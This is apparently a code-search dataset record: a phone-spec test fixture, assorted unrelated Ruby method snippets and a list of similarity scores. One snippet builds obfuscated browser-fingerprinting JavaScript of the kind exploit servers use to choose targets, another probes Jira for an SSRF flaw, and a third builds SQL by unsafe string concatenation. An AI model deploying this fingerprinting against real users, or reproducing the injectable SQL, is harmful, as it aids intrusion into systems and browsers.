11.6\",\"design_weight\":\"135\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"16M\",\"display_size\":\"3.5\\\"\",\"display_x\":\"320\",\"display_y\":\"480\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Gorilla Glass\"],\"memory_internal\":[\"4GB\",\"8GB\",\"16GB RAM\"],\"memory_slot\":[],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"Bluetooth 2.0\",\"802.11b\",\"802.11g\",\"GPRS\",\"EDGE\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[],\"media_videoplayback\":[\"MPEG4\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"WAV\"],\"media_other\":[],\"features\":[\"Unlimited entries\",\"Multiple numbers per contact\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"Timer\",\"Stopwatch\",\"Computer sync\",\"OTA sync\",\"Polyphonic ringtones\",\"Vibration\",\"Phone profiles\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice recording\",\"Light sensor\",\"Proximity sensor\",\"SMS\",\"Threaded viewer\",\"Email\",\"Google Maps\",\"Audio/video player\",\"Games\"],\"connectors\":[\"USB\",\"3.5mm Headphone\",\"TV Out\"],\"general_platform_version\":\"1.x\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_language\":\"\"}'\r\n\t\t@SonyEricssonX10I = '{\"general_vendor\":\"SonyEricsson\",\"general_model\":\"X10I\",\"general_platform\":\"Android\",\"general_platform_version\":\"1.6\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"SonyEricsson Xperia X10\",\"SonyEricsson X10\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Po 1500 mAh\",\"BST-41\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"1000Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"119 x 63 x 13\",\"design_weight\":\"135\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Volume\",\"Camera\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"65K\",\"display_size\":\"4\\\"\",\"display_x\":\"480\",\"display_y\":\"854\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"1GB\",\"384MB RAM\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"8GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS1700\",\"UMTS2100\",\"HSDPA900\",\"HSDPA1700\",\"HSDPA2100\",\"Bluetooth 2.1\",\"802.11b\",\"802.11g\",\"GPRS Class 10\",\"EDGE Class 10\"],\"media_camera\":[\"8MP\",\"3264x2448\"],\"media_secondcamera\":[],\"media_videocapture\":[\"WVGA@30fps\"],\"media_videoplayback\":[\"MPEG4\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\",\"WAV\"],\"media_other\":[\"Auto focus\",\"Image stabilizer\",\"Video stabilizer\",\"Face detection\",\"Smile detection\",\"Digital zoom\",\"Geo-tagging\",\"Touch focus\",\"LED Flash\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"World clock\",\"Stopwatch\",\"Notes\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Voice recording\",\"Accelerometer\",\"Compass\",\"Timescape/Mediascape UI\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push email\",\"IM\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Facebook and Twitter integration\",\"Voice memo\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@Device_10 = '{\"Device\":{\"_id\":\"10\",\"hd_specs\":{\"general_vendor\":\"Samsung\",\"general_model\":\"SPH-A680\",\"general_platform\":\"\",\"general_platform_version\":\"\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsungsph-a680-1403617960-0.jpg\",\"general_aliases\":[\"Samsung VM-A680\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 900 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[],\"design_formfactor\":\"Clamshell\",\"design_dimensions\":\"83 x 46 x 24\",\"design_weight\":\"96\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Numeric\",\"design_softkeys\":\"2\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"65K\",\"display_size\":\"\",\"display_x\":\"128\",\"display_y\":\"160\",\"display_other\":[\"Second External TFT\"],\"memory_internal\":[],\"memory_slot\":[],\"network\":[\"CDMA800\",\"CDMA1900\",\"AMPS800\"],\"media_camera\":[\"VGA\",\"640x480\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[],\"media_audio\":[],\"media_other\":[\"Exposure control\",\"White balance\",\"Multi shot\",\"Self-timer\",\"LED Flash\"],\"features\":[\"300 entries\",\"Multiple numbers per contact\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"To-Do\",\"Calculator\",\"Stopwatch\",\"SMS\",\"T9\",\"Computer sync\",\"Polyphonic ringtones (32 voices)\",\"Vibration\",\"Voice dialing (Speaker independent)\",\"Voice recording\",\"TTY\\/TDD\",\"Games\"],\"connectors\":[\"USB\"]}}}'\r\n\r\n\t\t@headers = Hash.new\r\n\t\t@headers['AlcatelOT-908222'] = @AlcatelOT_908222\r\n\t\t@headers['SamsungSCH-M828C'] = @SamsungSCH_M828C\r\n\t\t@headers['AlcatelOT-90822'] = @AlcatelOT_90822\r\n\t\t@headers['SamsungGT-P1000'] = @SamsungGT_P1000\r\n\t\t@headers['GenericOperaMini'] = @GenericOperaMini\r\n\t\t@headers['AppleiPhone'] = @AppleiPhone\r\n\t\t@headers['SonyEricssonX10I'] = @SonyEricssonX10I\r\n\r\n\t\t@map = Hash['h1'=>@h1, 'h2'=>@h2, 'h3'=>@h3, 'h4'=>@h4, 'h5'=>@h5, 'h6'=>@h6, 'h7'=>@h7]\r\n\r\n\t\t#@vendors = hd_remote(Configuration.get('vendors') + \".json\", \"\")\r\n\t\t#@vendor = JSON.parse(deviceVendors())\r\n\t\t#@model = JSON.parse(deviceModels('Sagem'))\r\n\t\t#@deviceView = JSON.parse(deviceView(\"Nokia\",\"N95\"))\r\n\t\t#@devicewWhatHas = JSON.parse(deviceWhatHas('network', 'CDMA'))\r\n\t\t#@fetchTrees = JSON.parse(siteFetchTrees())\r\n\t\t#@fetchSpecs = JSON.parse(siteFetchSpecs())\r\n\r\n\t\tRails::logger.debug\r\n\tend", "def next_page\n string = QJ.next_string()\n url = BSU + string\n BR.goto(url)\nend", "def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") {|s| s.read} \n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n } \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\") } \n end", "def kif_data_send\n if request.format.bod?\n text_body = KifuParser.new(source: current_record.kifu_body, to_format: \"bod\", turn: params[:turn]).to_xxx\n else\n text_body = current_record.to_xxx(params[:format])\n end\n\n if current_body_encode == \"Shift_JIS\"\n text_body = text_body.encode(current_body_encode)\n end\n\n # if boolean_for(params[:plain])\n # render plain: text_body\n # return\n # end\n\n if current_disposition == :inline\n headers[\"Content-Type\"] = current_type\n render plain: text_body\n return\n end\n\n # inline でこれを表示すると headers[\"Content-Transfer-Encoding\"] = \"binary\" になっているため Capybara でテキストが文字化けする\n # filename = current_filename.public_send(\"to#{current_filename_encode}\")\n send_data(text_body, type: current_type, filename: current_filename, disposition: current_disposition)\n end", "def get_detection_html(user_agent)\n ua_info = fingerprint_user_agent(user_agent)\n os = ua_info[:os_name]\n client = ua_info[:ua_name]\n\n code = ERB.new(%Q|\n <%= js_base64 %>\n <%= js_os_detect %>\n <%= js_ajax_post %>\n <%= js_misc_addons_detect %>\n <%= js_ie_addons_detect if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>\n\n function objToQuery(obj) {\n var q = [];\n for (var key in obj) {\n q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key]));\n }\n return Base64.encode(q.join('&'));\n }\n\n function isEmpty(str) {\n return (!str \\|\\| 0 === str.length);\n }\n\n function sendInfo(info) {\n var query = objToQuery(info);\n postInfo(\"<%=get_resource.chomp(\"/\")%>/<%=@info_receiver_page%>/\", query, function(){\n window.location=\"<%= get_module_resource %>\";\n });\n }\n\n var flashVersion = \"\";\n var doInterval = true;\n var maxTimeout = null;\n var intervalTimeout = null;\n\n function setFlashVersion(ver) {\n flashVersion = ver\n if (maxTimeout != null) {\n clearTimeout(maxTimeout);\n maxTimeout = null\n }\n doInterval = false\n return;\n }\n\n function createFlashObject(src, attributes, parameters) {\n var i, html, div, obj, attr = attributes \\|\\| {}, param = parameters \\|\\| {};\n attr.type = 'application/x-shockwave-flash';\n if (window.ActiveXObject) {\n attr.classid = 'clsid:d27cdb6e-ae6d-11cf-96b8-444553540000';\n param.movie = src;\n } else {\n attr.data = src;\n }\n\n html = '<object';\n for (i in attr) {\n html += ' ' + i + '=\"' + attr[i] + '\"';\n }\n html += '>';\n for (i in param) {\n html += '<param name=\"' + i + '\" value=\"' + param[i] + '\" />';\n }\n html += '</object>';\n div = document.createElement('div');\n div.innerHTML = html;\n obj = div.firstChild;\n div.removeChild(obj);\n return obj;\n }\n\n window.onload = function() {\n var osInfo = os_detect.getVersion();\n var d = {\n \"os_vendor\" : osInfo.os_vendor,\n \"os_device\" : osInfo.os_device,\n \"ua_name\" : osInfo.ua_name,\n \"ua_ver\" : osInfo.ua_version,\n \"arch\" : osInfo.arch,\n \"java\" : misc_addons_detect.getJavaVersion(),\n \"silverlight\" : misc_addons_detect.hasSilverlight(),\n \"flash\" : misc_addons_detect.getFlashVersion(),\n \"vuln_test\" : <%= js_vuln_test %>,\n \"os_name\" : osInfo.os_name\n };\n\n <% if os.match(OperatingSystems::Match::WINDOWS) and client == HttpClients::IE %>\n d['office'] = ie_addons_detect.getMsOfficeVersion();\n d['mshtml_build'] = ScriptEngineBuildVersion().toString();\n <%\n activex = @requirements[:activex]\n if activex\n activex.each do \\|a\\|\n clsid = a[:clsid]\n method = a[:method]\n %>\n var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');\n d['activex'] = \"\";\n if (ax == true) {\n d['activex'] += \"<%=clsid%>=><%=method%>=>true;\";\n } else {\n d['activex'] += \"<%=clsid%>=><%=method%>=>false;\";\n }\n <% end %>\n <% end %>\n <% end %>\n\n if (d[\"flash\"] != null && (d[\"flash\"].match(/[\\\\d]+.[\\\\d]+.[\\\\d]+.[\\\\d]+/)) == null) {\n var flashObject = createFlashObject('<%=get_resource.chomp(\"/\")%>/<%=@flash_swf%>', {width: 1, height: 1}, {allowScriptAccess: 'always', Play: 'True'});\n\n // After 5s stop waiting and use the version retrieved with JS if there isn't anything\n maxTimeout = setTimeout(function() {\n if (intervalTimeout != null) {\n doInterval = false\n clearInterval(intervalTimeout)\n }\n if (!isEmpty(flashVersion)) {\n d[\"flash\"] = flashVersion\n }\n sendInfo(d);\n }, 5000);\n\n // Check if there is a new flash version every 100ms\n intervalTimeout = setInterval(function() {\n if (!doInterval) {\n clearInterval(intervalTimeout);\n if (!isEmpty(flashVersion)) {\n d[\"flash\"] = flashVersion\n }\n sendInfo(d);\n }\n }, 100);\n\n document.body.appendChild(flashObject)\n } else {\n sendInfo(d)\n }\n }\n |).result(binding())\n\n js = ::Rex::Exploitation::JSObfu.new code\n js.obfuscate\n\n %Q|\n <script>\n #{js}\n </script>\n <noscript>\n <img style=\"visibility:hidden\" src=\"#{get_resource.chomp(\"/\")}/#{@noscript_receiver_page}/\">\n <meta http-equiv=\"refresh\" content=\"1; url=#{get_module_resource}\">\n </noscript>\n |\n end", "def web_render( web_name, web_url )\n return link_to( web_name, web_url ) if !web_name.empty? && !web_url.empty?\n return link_to( web_url, web_url ) if web_name.empty? && !web_url.empty?\n return web_name if !web_name.empty? && web_url.empty?\n end", "def parse_url\n set_url_type_and_command\n generate_field\n set_domain\n end", "def html_markup_org(text); end", "def post_print(url)\n post = \"I just wrote this post at #{url}:\\n #{entry}\"\n post += insights ? \"\\n<strong>insights</strong>: #{insights}\" : \"\" \n end", "def run\n super\n\n # first, ensure we're fingerprinted\n require_enrichment\n\n uri = _get_entity_name\n html = http_get_body(\"https://URL/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.whatismyip.com/\")\n \n if html =~ /<title>What Is My IP/ \n _create_linked_issue(\"atlassian_jira_oauth_plugin_ssrf\", {\n proof: {\n response_body: html\n }\n })\n end\n \n end", "def preview\n #for debug\n params[:d] = 'www.rubyecommerce.com'\n \n the_website=the_menu=the_layout=the_theme = nil\n the_website = Website.find_by_url(params[:d])\n if params[:c]\n the_menu = Menu.find_by_id(params[:c])\n else\n the_menu = Menu.find_by_id(the_website.index_page) \n end\n the_theme = TemplateTheme.find(the_menu.find_theme_id(is_preview=true))\n do_preview(the_theme.id, the_theme.layout_id, the_menu.id)\n render :text => File.read(\"#{Rails.public_path}/shops/#{the_theme.file_name('html')}\")\n end", "def pagehead(browser)\n puts \"inside pagehead\"\n #\tChecking for text in a page\n\t text1='WordPress Updates'\n\t if browser.text.include?(text1)\n\t puts text1+\" exists\"\n\t end\nend", "def set_identifiers #basic_form_page - pick up basic information\n unless @session.first(\".cname\").nil?\n web_name = @session.first(\".cname\").text \n puts web_name\n industry = @session.all('.selected-details tbody tr:nth-child(2) td')[1].text\n puts industry\n address = @session.evaluate_script(\"document.getElementsByClassName('selected-detail-val')[0].innerHTML\")\n\n # binding.pry\n unless address.include? \"None\"\n sanitized_address = sanitize_address(address)\n address_1 = sanitized_address[0]\n address_2 = sanitized_address[1]\n city = sanitized_address[2]\n state = sanitized_address[3]\n zip_code = sanitized_address[4]\n @content.push(web_name, industry, address_1, address_2, city, state, zip_code) \n else\n @content.push(web_name, industry, \"Address Not Available\", \"\", \"\", \"\", \"\") \n end\n end\n # binding.pry\n @content\n # address = @session.all('.selected-details tbody tr:nth-child(1) td').empty? ? \"N/A\" : @session.all('.selected-details tbody tr:nth-child(1) td')[1].text\n # puts address\n end", "def get_web_info_from_link(data, display)\n unless data[:link].start_with?('http://', 'https://')\n data[:link] = 'http://' + data[:link]\n end\n unless data[:link].end_with?('/')\n data[:link] += '/'\n end\n buff = data[:link].split('/')\n tmp_site = buff[2]\n data[:website] = is_site_compatible?(tmp_site, display)\n if data[:website] == nil\n return false\n end\n if data[:website][:to_complete] == ''\n data[:name] = buff[3]\n else\n data[:name] = buff[4]\n end\n data[:link] = data[:website][:link] + data[:website][:to_complete] + data[:name] + ((data[:website][:index_link_ends_with_slash]) ? '/' : '')\n true\n end", "def print_url_info(url_string)\nputs \"\\n////////////////////////////////////////////////////////////////////////////////\\n\\n\n Build submitted. To view your build progress, go to\\n#{url_string}\\n\\n\n////////////////////////////////////////////////////////////////////////////////\\n\\n\"\nend", "def insertIndustriesData(sector_id,sector_url)\r\n #\tputs sector_id + ' ' +\r\n\r\n http = Curl.get(sector_url)\r\n sleep(0.2)\r\n #puts http.body_str\r\n\r\n arry1=http.body_str.scan(/<a\\nhref=([0-9]+)conameu.html><font\\nface=arial\\nsize=-1>([^<]+)</).to_a\r\n\r\n for element in arry1\r\n\r\n #puts element[0] + 'conameu.html' + ' ' + element[1].gsub(/\\n/,' ')\r\n\r\n industriesUrl= 'http://biz.yahoo.com/p/' + element[0] + 'conameu.html'\r\n\r\n industriesName=element[1].gsub(/\\n/,' ')\r\n\r\n strSql= 'insert into industries (industries_name,industries_url,sector_id) values ('\r\n strSql=strSql + '\\'' + industriesName + '\\',\\'' + industriesUrl + '\\',' + sector_id + ')'\r\n SqlExec(strSql)\r\n\r\n sleep(0.2)\r\n\r\n end\r\n\r\nend" ]
[ "0.5571151", "0.5467372", "0.53040355", "0.52713674", "0.5197263", "0.51627654", "0.5110203", "0.50959563", "0.5092019", "0.50630033", "0.50373507", "0.50055283", "0.4994572", "0.4983167", "0.49661353", "0.4945212", "0.49268618", "0.49079075", "0.48952198", "0.48885214", "0.4883948", "0.48617712", "0.48608658", "0.48424512", "0.48325032", "0.48186374", "0.4817909", "0.4810475", "0.48048317", "0.48013192", "0.479285", "0.4787067", "0.47767946", "0.47746757", "0.47736603", "0.47550365", "0.4752381", "0.47519523", "0.47500548", "0.47422507", "0.47278842", "0.47231507", "0.47091174", "0.4708222", "0.46972275", "0.46897206", "0.46820757", "0.46803147", "0.46790546", "0.46722788", "0.4672113", "0.4671255", "0.46700442", "0.46654442", "0.465847", "0.465847", "0.465847", "0.46540442", "0.46516052", "0.46513978", "0.4650462", "0.4649983", "0.46474084", "0.46470723", "0.4646148", "0.46441427", "0.46411", "0.4637328", "0.46363255", "0.46360454", "0.463077", "0.46306467", "0.46275637", "0.46258214", "0.46256015", "0.46204016", "0.46073928", "0.46068823", "0.45979807", "0.45942584", "0.4592553", "0.45899323", "0.4589598", "0.45862326", "0.45840967", "0.45779362", "0.4577412", "0.45762113", "0.45757395", "0.45747948", "0.45734906", "0.45734635", "0.45718497", "0.45689598", "0.45675945", "0.45665777", "0.45655692", "0.45636305", "0.45603898", "0.45594323" ]
0.5175752
5